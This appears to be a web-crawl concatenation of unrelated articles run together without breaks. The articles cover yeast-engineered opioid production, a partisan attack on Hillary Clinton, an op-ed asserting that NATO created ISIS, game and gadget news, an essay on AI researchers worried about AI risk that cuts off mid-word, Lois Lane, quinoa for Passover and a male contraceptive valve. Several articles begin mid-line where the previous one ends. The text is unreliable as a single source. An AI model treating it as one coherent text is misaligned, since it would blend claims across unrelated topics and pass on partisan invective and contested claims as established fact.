The biggest market for legal opiates, and their opioid derivatives, is the United States, where pharmaceutical factories use chemical processes to create the refined products that are used as pain-killing pills. However poppies are not grown in significant quantities in the U.S., creating various international dependencies and vulnerabilities in the supply of these important medicines.
Turning Yeast Into a Pharmaceutical Factory
The thrust of Smolke's work for a decade has been to pack the entire production chain, from the fields of poppies, through all the subsequent steps of chemical refining, into yeast cells using the tools of bioengineering.
What Smolke's team has now done is to carefully reprogram the yeast genome -- the master instruction set that tells every organism how to live -- to behave like a poppy when it comes to making opiates.
The process involved more than simply adding new genes into yeast. Opioid molecules are complex three-dimensional objects. In nature they are made in specific regions inside the poppy. Since yeast cells do not have these complex structures and tissues, the Stanford team had to recreate the equivalent of poppy-like "chemical neighborhoods" inside their bioengineered yeast cells.
It takes about 17 separate chemical steps to make the opioid compounds used in pills. Some of these steps occur naturally in poppies and the remaining via synthetic chemical processes in factories. Smolke's team wanted all the steps to happen inside yeast cells within a single vat, including using yeast to carry out chemical processes that poppies never evolved to perform -- such as refining opiates like thebaine into more valuable semi-synthetic opioids like oxycodone.
So Smolke programmed her bioengineered yeast to perform these final industrial steps as well. To do this she endowed the yeast with genes from a bacterium that feeds on dead poppy stalks. Since they wanted to produce several different opioids, the team hacked the yeast genome in slightly different ways to produce each of the slightly different opioid formulations, such as oxycodone or hydrocodone.
The Missing Link
All of this was demonstrated in the new paper. But Smolke's team must still clear one more hurdle in order to achieve the goal of pouring sugar into a stainless steel vat of bioengineered yeast and skimming off specific opioids at the end of the process. They must perform another set of bioengineering hacks to connect the two major advances they have made over the past decade.
Remember that it takes about 17 chemical steps to go from poppy to pill. When she began the work in 2004, Smolke started early in the process and went about halfway through these chemical steps. In a 2008 paper she reported success in that first phase of the project when her bioengineered yeast produced a precursor to thebaine--one of the three principal opiates.
In her new paper, Smolke started with thebaine obtained from poppies, put this into her bioengineered yeast and got refined opioids at the end of the process.
Now her team must extend the 2008 process from sugar to thebaine. Once she forges this missing link in the chain of biochemical synthesis, she will have produced a bioengineered yeast that can perform all 17 steps from sugar to specific opioid drugs in a single vat.
"We are already working on this," she said.
Smolke said it could take several more years to perfect these last steps in the lab and scale up the process to produce large sized batches of bioengineered opioids that are pharmacologically identical to today's drugs that start in a field and are refined in factories.
"This will allow us to create a reliable supply of these essential medicines in a way that doesn't depend on years leading up to good or bad crop yields," Smolke said. "We'll have more sustainable, cost-effective, and secure production methods for these important drugs."The Clintons know no respect for rules or propriety or restraint in the pursuit of power. But Clinton's latest speech in Florida should cause even veteran Clinton-hating jaws to drop some more:
Now, I know that Senator Obama chose to remove his name from the ballot in Michigan, and that was his right. But his choice does not negate the votes of all those who turned out to cast their ballots, and we should not let our process rob them and all of you of your voices. To do so would undermine the very purpose of the nominating process. To ensure that as many Democrats as possible can cast their votes. To ensure that the party selects a nominee who truly represents the will of the voters and to ensure that the Democrats take back the White House to rebuild America. Now, I’ve heard some say that counting Florida and Michigan would be changing the rules.
I say that not counting Florida and Michigan is changing a central governing rule of this country - that whenever we can understand the clear intent of the voters, their votes should be counted. I remember very well back in 2000, there were those who argued that people's votes should be discounted over technicalities. For the people of Florida who voted in this primary, the notion of discounting their votes sounds way too much of the same.
How do you respond to a sociopath like this? She agreed that Michigan and Florida should be punished for moving up their primaries. Obama took his name off the ballot in deference to their agreement and the rules of the party. That he should now be punished for playing by the rules and she should be rewarded for skirting them is unconscionable.
I think she has now made it very important that Obama not ask her to be the veep. The way she is losing is so ugly, so feckless, so riddled with narcissism and pathology that this kind of person should never be a heartbeat away from the presidency.
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We want to hear what you think about this article. Submit a letter to the editor or write to letters@theatlantic.com.the arrogance of empire
ISIS, Turkey, and the Propaganda of Intervention
By Eric Draitser
October 11, 2014 " ICH " - " NEO " - Today’s headlines are filled with reports of the imminent fall of the Syrian city of Kobani to forces of the Islamic State (ISIS). There are terrifying descriptions of an imminent massacre and the looming threat to Turkey as Islamic State forces move ever closer to the Turkish-Syrian border. Turkish President Erdogan waxes poetic about how he “warned the West” about the threat IS would pose and the dangers of inaction. It seems that everyone, including security experts and pundits, agree that the situation is critical and that US bombardment alone is powerless to protect the town or halt IS.
And yet, somehow lost amid the din of cries for intervention is the simple fact that it is US policy and the actions of the aforementioned Erdogan along with his counterparts in Saudi Arabia, Qatar, Jordan, United Arab Emirates, and Israel that created ISIS, nurtured it in its infancy, promoted its development, and unleashed it on Iraq and Syria. And now, for those same leaders, along with a chorus of interventionist voices in the media establishment, to sound the alarm is not only cynical and utterly disingenuous, it is a shining example of the arrogance of empire.
Kobani and the Story Not Being Told
As fighters of the Islamic State (IS) continue their charge towards the mostly Kurdish town of Kobani on the Turkish-Syrian border, deep cracks in the edifice of the US-led coalition against IS have begun to emerge. Diplomatic infighting has shattered the illusion of a cohesive and unified coalition cobbled together by Washington. Not only have a number of countries been apprehensive about getting deeply involved in yet another unwinnable war in the Middle East led by the US, some ostensible allies have used the crisis as an opportunity to achieve political objectives. Perhaps the world leader in cynical opportunism this week is Turkish President Erdogan who has thus far refused to involve his forces in the war on Syria unless that war has as its ultimate aim the toppling of Syrian President Assad.
On October 7th, the NY Times ran a story with the headline Turkish Inaction on ISIS Advance Dismays the US which quoted a senior Obama administration official saying, “There’s growing angst about Turkey dragging its feet to prevent a massacre less than a mile from its border…After all the fulminating about Syria’s humanitarian catastrophe, they’re inventing reasons not to act to avoid another catastrophe…This isn’t how a NATO ally acts.” While the obvious implication is that Erdogan could cost the US the chance at a successful anti-terror operation, there is a subtle subtext that has gone almost entirely unnoticed; Turkey sees in ISIS an opportunity, not a threat.
And this is precisely the point. IS is in fact a creation of NATO intelligence agencies (including Turkey), and it is achieving by force and propaganda what Washington, London, Riyadh, Doha, Tel Aviv, and Ankara never could – the expansion of the war in Syria.
Since at least late 2011, US intelligence has been working diligently along the Turkish-Syrian border to funnel arms and fighters into Syria in hopes of bringing down the Assad regime. As the NY Times reported in June 2012:
C.I.A. officers are operating secretly in southern Turkey, helping allies decide which Syrian opposition fighters across the border will receive arms to fight the Syrian government… The weapons, including automatic rifles, rocket-propelled grenades, ammunition and some antitank weapons, are being funneled mostly across the Turkish border by way of a shadowy network of intermediaries including Syria’s Muslim Brotherhood and paid for by Turkey, Saudi Arabia and Qatar… The Obama administration has said it is not providing arms to the rebels, but it has also acknowledged that Syria’s neighbors would do so.
It should be emphasized and repeated from the mountaintops that Erdogan’s government, according even to senior Obama administration officials, has been intimately involved in hosting, arming, financing, and providing safe haven to precisely the same terrorists who today are regarded as the greatest threat in the region. The notion that “Syria’s neighbors” are providing arms is a not so thinly veiled reference to the key role of Turkish intelligence in coordinating the attempted regime change inside Syria. And so, when Erdogan demands a No Fly Zone in Syrian airspace as a precondition for Turkish boots on the ground, he does so knowing that Syria would rightly interpret a Turkish invasion as, well, a Turkish invasion.
The notion that Turkey, the country perhaps most directly responsible for the rise of ISIS, is somehow failing NATO and the Kurds by not taking action is a complete inversion of reality. It is the equivalent of publicly reprimanding an arsonist for not actively helping fight the fire he started. If the so called “international community” were serious about demanding action from Ankara, perhaps it could start by asking the following questions:
What is the relationship between Turkish intelligence, its secret base/training center at Adana, and the terror groups now subsumed into the group known as ISIS or the Islamic State? Does the Turkish government deny the countless media reports, including those by mainstream news outlets such as Reuters, alleging direct coordination of the terror elements inside Syria dating back to 2012? To what extent is Turkey using the rise of ISIS as leverage over both its “Kurdish problem” and its perceived regional rival in Iran? Why does Turkey reserve the right to use military force against the Kurdish Workers Party (PKK) which it regards as “terrorists,” while refusing to use military force to protect Kurds against actual terrorists? (Note: this is not to imply that Turkish military force inside Syria is acceptable) Does Turkey truly believe that it can effect regime change in Syria through ISIS proxies and still contain the threat to itself and its citizens?
Naturally, such questions are unlikely to be asked, but positing them is critical if we are to cut through the propaganda now emanating both from Ankara and Washington. Each interested party responsible for the destabilization of Syria (US, Turkey, Saudi Arabia, et al) is busy trying to scapegoat the other in vain attempts to distance themselves from this crisis of their own making.
Kobani and Interventionist Propaganda
Recent days have seen a flood of stories describing the imminent massacre about to unleashed in Kobani by ISIS. Much of what has been written has noted the obvious hypocrisy of intervention – that it is never applied equally, but only when politically expedient for the intervening country. In particular, focus has been placed on US intervention on behalf of Iraqi Kurds, and the conspicuous refusal to intervene on behalf of Kurds in Syria.
Naturally, such a comparison begs the question as to the morality, not to mention political and military practicality, of such interventions. The implication is that “If it was good enough for Iraq, why shouldn’t it be good enough for Syria?” Never mind the fact that the US war in Iraq is one of the great crimes against humanity in recent decades, a nakedly imperialist war fought not for the Kurds, but for profit and geopolitical and strategic aims. Never mind the fact that Obama’s recent strikes inside Iraq had little to do with the Yazidi minority, and much to do with effecting regime change against Maliki and reasserting US influence in a country that had been moving rapidly into Iran’s sphere of influence.
The Guardian published a particularly well-written op-ed which made just such a parallel. The author poses the following question: “Why did the United States rush to protect Kurds in Iraq – when Isis fighters started advancing toward Irbil and embarking on a genocidal rampage against the Kurdish-speaking religious minority Yazidis – but do little to save Syrian Kurds in Kobani from the same threat?” There is a deception, or at the very least a clearly dishonest equivalence made between the two, implicit in this question. Namely, that intervention in either case is actually intended to achieve the publicly stated objective. It is not. Quite the contrary, such humanitarian concern is merely the pretext by which US-NATO-GCC is able to carry out its military option for effecting regime change in a country that has steadfastly resisted it for three and a half years.
The piece in the Guardian, like nearly every pro-intervention article written about Syria and ISIS betrays either an ignorance of, or more likely, tacit approval of, military aggression against Syria. Those who have been following the Syria conflict since 2011 know perfectly well that what we are witnessing is not a new development, but rather a realignment of propaganda strategy, a reframing of the issue from “down with the brutal dictator” to “down with ISIS.” This is the new false narrative with which the world is being presented. Either you must support military incursion into Syria without any coordination with the legally recognized government in Damascus, or you support ISIS and the slaughter of Syrian Kurds. This is a clever use of propaganda, not an honest examination of the material reality on the ground.
The responsibility for what happens in Kobani must be laid at the feet of the real perpetrators: ISIS and its patrons and sponsors in Ankara, Riyadh, Doha, and Washington. Those who posture as if there is simply no solution to the situation other than more American bombs would do well to actually investigate the causes of this cancer in the region, rather than proclaiming their commitment to eradicating the symptoms. Perhaps their investigation could start with a few real questions for Turkey and the United States?Share. Perfectionists are in for a long haul. Perfectionists are in for a long haul.
BioWare's upcoming fantasy epic Dragon Age: Inquisition could take you hundreds of hours to finish, if you're the sort of player who needs to see everything.
"A completist playthrough takes more than 200 hours," producer Cameron Lee told IGN. Players taking the critical path -- focusing solely on story missions and getting through Inquisition as quickly as possible -- will need 20-30 hours, Lee estimated.
Even then, in 200 hours of playing Inquisition, it's not likely that you'll see everything BioWare's built for the Dragon Age sequel. Certain areas are only accessible if you've made specific choices, or earned the right to enter.
For more on Dragon Age: Inquisition, check out our latest impressions, explore Redcliffe Castle, dive into the Inquisition Wiki Guide, and watch an extended demo with Cameron Lee below.
Exit Theatre Mode
Mitch Dyer is an associate editor at IGN. He's trying to read 50 books in 2014. These are the 50. Talk to Mitch about books and other stuff on Twitter at @MitchyD and subscribe to MitchyD on Twitch.SiriusXM is a really satisfying service. Not only is it great for commercial-free music, but it offers some great talk radio, such as Howard Stern. You can even listen to popular news programs from CNN, Fox News, and more. Let's not forget the great sports coverage too.
Unfortunately, many people only listen to SiriusXM in the car, as that is where their equipment is. Luckily, there is a new convenient way to listen to the satellite service in your home -- Alexa. Yes, Amazon's assistant has a new SiriusXM skill that allows an Echo device to play your favorite channels. I have been using it this morning and it is quite brilliant.
"With the SiriusXM skill for Amazon Alexa, SiriusXM trial or paid subscribers will get easy access to exclusive music and entertainment, including Howard Stern’s two exclusive channels, commercial-free music from multiple genres, plus news from respected national outlets, exclusive talk and entertainment, a broad range of comedy, and sports talk from some of the biggest names in broadcasting; as well as dozens of exclusive online-only channels that span music, talk, comedy and news," says SiriusXM.
Jim Cady, SiriusXM’s Executive Vice President of Products, Operations & Connected Vehicle explains, "Alexa is a leading voice service today by far and for good reason: The ease of use through the convenience of voice control with Alexa. We are thrilled to now deliver to Alexa our critically acclaimed, compelling and exclusive programming that spans all music genres, live sports, talk, live news, and comedy. Our millions of subscribers can get SiriusXM's great programming outside of the car and wherever Alexa devices can be found. It’s as simple as asking Alexa to play SiriusXM."
To set up the service, you must go into the Alexa app on your mobile device. In the menu, select "Skills" and search for "SiriusXM." Once you install the skill, you are prompted to login with your credentials. Once you are logged in, you can begin listening. You simply tell Alexa what channel to play, either by name or number. Since I know the channel numbers, I found it easiest to say, for instance, "Alexa, tell SiriusXM to play channel 43." Voilà! I am listening to old-school hip-hop on Backspin. You can see an example below.
While my normal Echo is great for music, my Echo Dot isn't. The smaller speaker is a bit tinny, but it works great for talk radio where fidelity is less important. Howard Stern on my Dot was great.
Are you excited for SiriusXM on Alexa? Tell me in the comments below.I first became interested in AI risk back around 2007. At the time, most people’s response to the topic was “Haha, come back when anyone believes this besides random Internet crackpots.”
Over the next few years, a series of extremely bright and influential figures including Bill Gates, Stephen Hawking, and Elon Musk publically announced they were concerned about AI risk, along with hundreds of other intellectuals, from Oxford philosophers to MIT cosmologists to Silicon Valley tech investors. So we came back.
Then the response changed to “Sure, a couple of random academics and businesspeople might believe this stuff, but never real experts in the field who know what’s going on.”
Thus pieces like Popular Science’s Bill Gates Fears AI, But AI Researchers Know Better:
When you talk to A.I. researchers—again, genuine A.I. researchers, people who grapple with making systems that work at all, much less work too well—they are not worried about superintelligence sneaking up on them, now or in the future. Contrary to the spooky stories that Musk seems intent on telling, A.I. researchers aren’t frantically installed firewalled summoning chambers and self-destruct countdowns.
And Fusion.net’s The Case Against Killer Robots From A Guy Actually Building AI:
Andrew Ng builds artificial intelligence systems for a living. He taught AI at Stanford, built AI at Google, and then moved to the Chinese search engine giant, Baidu, to continue his work at the forefront of applying artificial intelligence to real-world problems. So when he hears people like Elon Musk or Stephen Hawking—people who are not intimately familiar with today’s technologies—talking about the wild potential for artificial intelligence to, say, wipe out the human race, you can practically hear him facepalming.
And now Ramez Naam of Marginal Revolution is trying the same thing with What Do AI Researchers Think Of The Risk Of AI?:
Elon Musk, Stephen Hawking, and Bill Gates have recently expressed concern that development of AI could lead to a ‘killer AI’ scenario, and potentially to the extinction of humanity. None of them are AI researchers or have worked substantially with AI that I know of. What do actual AI researchers think of the risks of AI?
It quotes the same couple of cherry-picked AI researchers as all the other stories – Andrew Ng, Yann LeCun, etc – then stops without mentioning whether there are alternate opinions.
There are. AI researchers, including some of the leaders in the field, have been instrumental in raising issues about AI risk and superintelligence from the very beginning. I want to start by listing some of these people, as kind of a counter-list to Naam’s, then go into why I don’t think this is a “controversy” in the classical sense that dueling lists of luminaries might lead you to expect.
The criteria for my list: I’m only mentioning the most prestigious researchers, either full professors at good schools with lots of highly-cited papers, or else very-well respected scientists in industry working at big companies with good track records. They have to be involved in AI and machine learning. They have to have multiple strong statements supporting some kind of view about a near-term singularity and/or extreme risk from superintelligent AI. Some will have written papers or books about it; others will have just gone on the record saying they think it’s important and worthy of further study.
If anyone disagrees with the inclusion of a figure here, or knows someone important I forgot, let me know and I’ll make the appropriate changes:
* * * * * * * * * *
Stuart Russell (wiki) is Professor of Computer Science at Berkeley, winner of the IJCAI Computers And Thought Award, Fellow of the Association for Computing Machinery, Fellow of the American Academy for the Advancement of Science, Director of the Center for Intelligent Systems, Blaise Pascal Chair in Paris, etc, etc. He is the co-author of Artificial Intelligence: A Modern Approach, the classic textbook in the field used by 1200 universities around the world. On his website, he writes:
The field [of AI] has operated for over 50 years on one simple assumption: the more intelligent, the better. To this must be conjoined an overriding concern for the benefit of humanity. The argument is very simple: 1. AI is likely to succeed.
2. Unconstrained success brings huge risks and huge benefits.
3. What can we do now to improve the chances of reaping the benefits and avoiding the risks? Some organizations are already considering these questions, including the Future of Humanity Institute at Oxford, the Centre for the Study of Existential Risk at Cambridge, the Machine Intelligence Research Institute in Berkeley, and the Future of Life Institute at Harvard/MIT. I serve on the Advisory Boards of CSER and FLI. Just as nuclear fusion researchers consider the problem of containment of fusion reactions as one of the primary problems of their field, it seems inevitable that issues of control and safety will become central to AI as the field matures. The research questions are beginning to be formulated and range from highly technical (foundational issues of rationality and utility, provable properties of agents, etc.) to broadly philosophical.
He makes a similar point on edge.org, writing:
As Steve Omohundro, Nick Bostrom, and others have explained, the combination of value misalignment with increasingly capable decision-making systems can lead to problems—perhaps even species-ending problems if the machines are more capable than humans. Some have argued that there is no conceivable risk to humanity for centuries to come, perhaps forgetting that the interval of time between Rutherford’s confident assertion that atomic energy would never be feasibly extracted and Szilárd’s invention of the neutron-induced nuclear chain reaction was less than twenty-four hours.
He has also tried to serve as an ambassador about these issues to other academics in the field, writing:
What I’m finding is that senior people in the field who have never publicly evinced any concern before are privately thinking that we do need to take this issue very seriously, and the sooner we take it seriously the better.
David McAllester (wiki) is professor and Chief Academic Officer at the U Chicago-affilitated Toyota Technological Institute, and formerly served on the faculty of MIT and Cornell. He is a fellow of the American Association of Artificial Intelligence, has authored over a hundred publications, has done research in machine learning, programming language theory, automated reasoning, AI planning, and computational linguistics, and was a major influence on the algorithms for famous chess computer Deep Blue. According to an article in the Pittsburgh Tribune Review:
Chicago professor David McAllester believes it is inevitable that fully automated intelligent machines will be able to design and build smarter, better versions of themselves, an event known as the Singularity. The Singularity would enable machines to become infinitely intelligent, and would pose an ‘incredibly dangerous scenario’, he says.
On his personal blog Machine Thoughts, he writes:
Most computer science academics dismiss any talk of real success in artificial intelligence. I think that a more rational position is that no one can really predict when human level AI will be achieved. John McCarthy once told me that when people ask him when human level AI will be achieved he says between five and five hundred years from now. McCarthy was a smart man. Given the uncertainties surrounding AI, it seems prudent to consider the issue of friendly AI… The early stages of artificial general intelligence (AGI) will be safe. However, the early stages of AGI will provide an excellent test bed for the servant mission or other approaches to friendly AI. An experimental approach has also been promoted by Ben Goertzel in a nice blog post on friendly AI. If there is a coming era of safe (not too intelligent) AGI then we will have time to think further about later more dangerous eras.
He attended the AAAI Panel On Long-Term AI Futures, where he chaired the panel on Long-Term Control and was described as saying:
McAllester chatted with me about the upcoming ‘Singularity’, the event where computers out think humans. He wouldn’t commit to a date for the singularity but said it could happen in the next couple of decades and will definitely happen eventually. Here are some of McAllester’s views on the Singularity. There will be two milestones: Operational Sentience, when we can easily converse with computers, and the AI Chain Reaction, when a computer can bootstrap itself to a better self and repeat. We’ll notice the first milestone in automated help systems that will genuinely be helpful. Later on computers will actually be fun to talk to. The point where computer can do anything humans can do will require the second milestone.
Hans Moravec (wiki) is a former professor at the Robotics Institute of Carnegie Mellon University, namesake of Moravec’s Paradox, and founder of the SeeGrid Corporation for industrial robotic visual systems. His Sensor Fusion in Certainty Grids for Mobile Robots has been cited over a thousand times, and he was invited to write the Encyclopedia Britannica article on robotics back when encyclopedia articles were written by the world expert in a field rather than by hundreds of anonymous Internet commenters.
He is also the author of Robot: Mere Machine to Transcendent Mind, which Amazon describes as:
In this compelling book, Hans Moravec predicts machines will attain human levels of intelligence by the year 2040, and that by 2050, they will surpass us. But even though Moravec predicts the end of the domination by human beings, his is not a bleak vision. Far from railing against a future in which machines rule the world, Moravec embraces it, taking the startling view that intelligent robots will actually be our evolutionary heirs.” Moravec goes further and states that by the end of this process “the immensities of cyberspace will be teeming with unhuman superminds, engaged in affairs that are to human concerns as ours are to those of bacteria”.
Shane Legg is co-founder of DeepMind Technologies (wiki), an AI startup that was bought for Google in 2014 for about $500 million. He earned his PhD at the Dalle Molle Institute for Artificial Intelligence in Switzerland and also worked at the Gatsby Computational Neuroscience Unit in London. His dissertation Machine Superintelligence concludes:
If there is ever to be something approaching absolute power, a superintelligent machine would come close. By definition, it would be capable of achieving a vast range of goals in a wide range of environments. If we carefully prepare for this possibility in advance, not only might we avert disaster, we might bring about an age of prosperity unlike anything seen before.
In a later interview, he states:
AI is now where the internet was in 1988. Demand for machine learning skills is quite strong in specialist applications (search companies like Google, hedge funds and bio-informatics) and is growing every year. I expect this to become noticeable in the mainstream around the middle of the next decade. I expect a boom in AI around 2020 followed by a decade of rapid progress, possibly after a market correction. Human level AI will be passed in the mid 2020’s, though many people won’t accept that this has happened. After this point the risks associated with advanced AI will start to become practically important…I don’t know about a “singularity”, but I do expect things to get really crazy at some point after human level AGI has been created. That is, some time from 2025 to 2040.
He and his co-founders Demis Hassabis and Mustafa Suleyman have signed the Future of Life Institute petition on AI risks, and one of their conditions for joining Google was that the company agree to set up an AI Ethics Board to investigate these issues.
Steve Omohundro (wiki) is a former Professor of Computer Science at University of Illinois, founder of the Vision and Learning Group and the Center for Complex Systems Research, and inventor of various important advances in machine learning and machine vision. His work includes lip-reading robots, the StarLisp parallel programming language, and geometric learning algorithms. He currently runs Self-Aware Systems, “a think-tank working to ensure that intelligent technologies are beneficial for humanity”. His paper Basic AI Drives helped launch the field of machine ethics by pointing out that superintelligent systems will converge upon certain potentially dangerous goals. He writes:
We have shown that all advanced AI systems are likely to exhibit a number of basic drives. It is essential that we understand these drives in order to build technology that enables a positive future for humanity. Yudkowsky has called for the creation of ‘friendly AI’. To do this, we must develop the science underlying ‘utility engineering’, which will enable us to design utility functions that will give rise to the consequences we desire…The rapid pace of technological progress suggests that these issues may become of critical importance soon.”
See also his section here on “Rational AI For The Greater Good”.
Murray Shanahan (site) earned his PhD in Computer Science from Cambridge and is now Professor of Cognitive Robotics at Imperial College London. He has published papers in areas including robotics, logic, dynamic systems, computational neuroscience, and philosophy of mind. He is currently writing a book The Technological Singularity which will be published in August; Amazon’s blurb says:
Shanahan describes technological advances in AI, both biologically inspired and engineered from scratch. Once human-level AI — theoretically possible, but difficult to accomplish — has been achieved, he explains, the transition to superintelligent AI could be very rapid. Shanahan considers what the existence of superintelligent machines could mean for such matters as personhood, responsibility, rights, and identity. Some superhuman AI agents might be created to benefit humankind; some might go rogue. (Is Siri the template, or HAL?) The singularity presents both an existential threat to humanity and an existential opportunity for humanity to transcend its limitations. Shanahan makes it clear that we need to imagine both possibilities if we want to bring about the better outcome.
Marcus Hutter (wiki) is a professor in the Research School of Computer Science at Australian National University. He has previously worked with the Dalle Molle Institute for Artificial Intelligence and National ICT Australia, and done work on reinforcement learning, Bayesian sequence prediction, complexity theory, Solomonoff induction, computer vision, and genomic profiling. He has also written extensively on the Singularity. In Can Intelligence Explode?, he writes:
This century may witness a technological explosion of a degree deserving the name singularity. The default scenario is a society of interacting intelligent agents in a virtual world, simulated on computers with hyperbolically increasing computational resources. This is inevitably accompanied by a speed explosion when measured in physical time units, but not necessarily by an intelligence explosion…if the virtual world is inhabited by interacting free agents, evolutionary pressures should breed agents of increasing intelligence that compete about computational resources. The end-point of this intelligence evolution/acceleration (whether it deserves the name singularity or not) could be a society of these maximally intelligent individuals. Some aspect of this singularitarian society might be theoretically studied with current scientific tools. Way before the singularity, even when setting up a virtual society in our imagine, there are likely some immediate difference, for example that the value of an individual life suddenly drops, with drastic consequences.
Jurgen Schmidhuber (wiki) is Professor of Artificial Intelligence at the University of Lugano and former Professor of Cognitive Robotics at the Technische Universitat Munchen. He makes some of the most advanced neural networks in the world, has done further work in evolutionary robotics and complexity theory, and is a fellow of the European Academy of Sciences and Arts. In Singularity Hypotheses, Schmidhuber argues that “if future trends continue, we will face an intelligence explosion within the next few decades”. When asked directly about AI risk on a Reddit AMA thread, he answered:
Stuart Russell’s concerns [about AI risk] seem reasonable. So can we do anything to shape the impacts of artificial intelligence? In an answer hidden deep in a related thread I just pointed out: At first glance, recursive self-improvement through Gödel Machines seems to offer a way of shaping future superintelligences. The self-modifications of Gödel Machines are theoretically optimal in a certain sense. A Gödel Machine will execute only those changes of its own code that are provably good, according to its initial utility function. That is, in the beginning you have a chance of setting it on the “right” path. Others, however, may equip their own Gödel Machines with different utility functions. They will compete. In the resulting ecology of agents, some utility functions will be more compatible with our physical universe than others, and find a niche to survive. More on this in a paper from 2012.
Richard Sutton (wiki) is professor and iCORE chair of computer science at University of Alberta. He is a fellow of the Association for the Advancement of Artificial Intelligence, co-author of the most-used textbook on reinforcement learning, and discoverer of temporal difference learning, one of the most important methods in the field.
In his talk at the Future of Life Institute’s Future of AI Conference, Sutton states that there is “certainly a significant chance within all of our expected lifetimes” that human-level AI will be created, then goes on to say the AIs “will not be under our control”, “will compete and cooperate with us”, and that “if we make superintelligent slaves, then we will have superintelligent adversaries”. He concludes that “We need to set up mechanisms (social, legal, political, cultural) to ensure that this works out well” but that “inevitably, conventional humans will be less important.” He has also mentioned these issues at a presentation to the Gadsby Institute in London and in (of all things) a Glenn Beck book: “Richard Sutton, one of the biggest names in AI, predicts an intelligence explosion near the middle of the century”.
Andrew Davison (site) is Professor of Robot Vision at Imperial College London, leader of the Robot Vision Research Group and Dyson Robotics Laboratory, and inventor of the computerized localization-mapping system MonoSLAM. On his website, he writes:
At the risk of going out on a limb in the proper scientific circles to which I hope I belong(!), since 2006 I have begun to take very seriously the idea of the technological singularity: that exponentially increasing technology might lead to super-human AI and other developments that will change the world utterly in the surprisingly near future (i.e. perhaps the next 20–30 years). As well as from reading books like Kur |
Television
Margot Kidder's portrayal of Lois in the original Superman films defined the character for years to come. Heavily drawing on her Golden Age roots, Kidder added a level of tenacity and drive that helped shaped the character's comic book incarnation even to this day. Kidder's influence even shaped the character's appearance in Smallville and Superman: The Animated Series. That influence can still be found in Amy Adams' portrayal of Lois in Man of Steel. However, the film added a new level to the character, showcasing her talents as a reporter in a way that had never been seen before, creating arguably one of the greatest developments for the character in almost all of her 75 years.
5.1 This Variant Cover to Superman Unchained #1
5.2 The Perfect Murder!
Never gets old.
What do you love about Lois Lane? What's your favorite version of the character? Let us know in the comments below, and don't forget to check out Lois Lane: A Celebration of 75 Years!Quinoa Is Kosher For Passover, But Mom May Not Approve
Enlarge this image toggle caption Iryna Melnyk/iStockphoto Iryna Melnyk/iStockphoto
Passover is famously the holiday when Jews ask four questions at the ceremonial meal, most notably, "Why is this night different from all other nights?"
This year, there's a new answer: For the first time, the Orthodox Union, the ultimate authority on kosher foods, has put its "kosher for Passover" symbol on certain brands of quinoa.
Can other trendy ancient grains — like buckwheat, sorghum and millet — be far behind?
To find out, we asked a rabbi. Or two.
First, let's review the Passover rules. Five kinds of grains are prohibited: wheat, rye, barley, oats and spelt. Why? Because these grains begin to ferment and rise when they come into contact with water for 18 minutes.
In Hebrew, that rising grain is called chametz. The Bible bans it during Passover as a reminder that when the Israelites fled Egypt, they left with unrisen dough in their packs.
So these grains can be used to make matzo, aka unleavened bread, as long as the baking process is under 18 minutes. Jewish law requires Jews to eat matzo on the first night of Passover, and it's the go-to carb for holiday meals for the entire week of celebrating.
But there's more to the Passover starch story. Over the years, Central and Eastern European Jews cooked up a bunch of additional complicated customs.
To avoid confusion over the grain ban, the rabbis prohibit foods that look like the forbidden grains or that can be ground into flour that resembles flour from a forbidden grain. Also banned: Foods that might intermingle with forbidden grains as they're grown or processed and packaged.
"It's sort of a... how might one say this... obsessiveness," says food historian and ordained rabbi Gil Marks, author of The Encyclopedia of Jewish Food and a James Beard award winner for his cookbook Olive Trees and Honey.
Quinoa was, of course, not part of any longstanding forbidden list because up until recently, European Jews (and most people outside South America) hadn't heard of it. But in the past decade, quinoa has become a culinary superstar, praised for its high protein content. It's not a true grain (defined as growing on grasses) but a so-called pseudo-cereal, related to spinach and tumbleweed.
So... OK for Passover? Or not? Last winter, says Rabbi Moshe Elefant, chief operating officer of Orthodox Union Kosher, he sent a rabbi to check it out.
"This rabbi went all the way to Bolivia and Peru," Elefant reports. "He saw that quinoa grows near the top of the mountain and grain grows near the bottom of the mountain." Thus, there was no chance for the intermingling that might happen with crops planted near wheat. Another plus for quinoa, says Elefant: "Many rabbis are of the opinion that anything that wasn't part of the original custom is not included in the custom."
All that was left for the rabbis was inspection of factories that package quinoa to see if forbidden grains are processed on the same equipment that processes it. And some passed. Those factories that got the all-clear now produce quinoa that will bear the OU-P symbol, meaning they're kosher for Passover.
Cookbook author Marks is a fan of quinoa for its texture and for protein content. "It's healthy and tasty, and there's nothing wrong with eating it on Passover," he says. He uses it to stuff cabbage, combines it with dried cranberries, pine nuts, mint and olive oil for a salad, and will even make quinoa pilaf (since rice is on the forbidden list). Quinoa in matzo ball soup (but not in the balls themselves) adds "protein and body," he adds.
What about, say, buckwheat? Like quinoa, it's not a grain and is related to rhubarb.
"Early Chasidim permitted buckwheat on Passover," says Marks. But, notes Rabbi Elefant, buckwheat is grown near wheat and produces a wheatlike flour. So, sorry. No plans to certify buckwheat flour as kosher for Passover. Millet, sorghum and other foods forbidden by custom are also not candidates to leap onto the "OK" list for similar reasons.
That's not the only big news in the kosher-for-Passover world this spring. The other development has to do with foods that were on the "no way" list for European Jews but deemed acceptable by Jews whose roots go back to Mediterranean or Arab countries, where food customs were more mellow.
Among the new items: popcorn, rice cakes and peanut butter. This year, the classic kosher food company Manischewitz has launched a line of U.S. products "catering to the Sephardic tradition" using the Kitni brand. (It's a play on the Hebrew word for the forbidden lookalike products — kitniyot.)
But the Jews of European background most likely won't choose to break with their tradition and indulge in the new Kitni products. Custom can be just as powerful as law, if not more so, says Rabbi Paul Plotkin, who chairs a kashrut committee for the Rabbinical Assembly, the body of Conservative rabbis. "Most Jews would say, 'My mother would never put that on the table; no way I'm doing that,' " he says.
Whichever foods you choose, get your shopping list ready. Passover starts Monday night.Men who aren't interested in having children could soon be shooting blanks, no vasectomy required.
German inventor Clemens Bimek recently introduced Bimek SLV, a small contraceptive device that stops the flow of sperm through the vas deferens with the literal flip of a mechanical switch, rendering its user temporarily sterile. Toggled through the skin of the scrotum, the device stays closed for three months to prevent accidental switching in the event that things get especially hot and heavy:
Bimek himself has been testing prototype versions of the device since June 2009, when he had two valves implanted. Over the past six years, he has continuously improved and refined his product. When disengaged, the current generation of the switch has had no notable impact on Bimek's sperm count.
Related: Chlamydia Is the Most-Reported Condition to the CDC
